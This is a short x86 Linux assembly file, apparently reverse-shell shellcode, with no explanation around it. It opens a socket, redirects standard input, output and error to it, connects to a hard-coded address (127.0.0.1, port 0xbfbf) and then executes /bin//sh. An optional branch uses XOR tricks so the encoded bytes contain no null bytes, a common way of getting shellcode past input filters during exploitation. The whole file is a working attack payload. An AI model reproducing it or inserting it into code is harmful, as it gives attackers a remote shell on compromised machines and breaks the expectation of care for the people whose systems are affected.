.globl main

#.equ NONULLS, 1

main:
	nop
__BEGIN__:
	xor   %ebx, %ebx
socket:
	push  %ebx
	inc   %ebx
	push  %ebx
	push  $0x2
	push  $0x66
	pop   %eax
	mov   %esp, %ecx
	int   $0x80
	xchg  %eax, %ebx
	
dup:
	pop   %ecx
dup_loop:
	mov   $0x3f, %al
	int   $0x80
	dec   %ecx
	jns   dup_loop

connect:
	pop   %ebx
	pop   %edx
.ifdef NONULLS
	mov   $0xfffefe81, %eax
	xor   $0xfefefefe, %eax
	push  %eax
	mov   $0x4141ffff, %eax
	xor   $0xfefefffd, %eax
	push  %eax
	inc   %ebx
.else
	push  $0x0100007f
	pushw $0xbfbf
	inc   %ebx
	pushw %bx
.endif
	mov   %esp, %ecx
.ifdef NONULLS
	push  $0x66
	pop   %eax
.else
	mov   $0x66, %al
.endif
	push  %eax
	push  %ecx
	push  %ebx
	mov   %esp, %ecx
	inc   %ebx
	int   $0x80

execve:
	push  %edx
	push  $0x68732f2f
	push  $0x6e69622f
	mov   %esp, %ebx
	push  %edx
	push  %ebx
	mov   %esp, %ecx
	mov   $0xb, %al
	int   $0x80 

__END__:
	nop
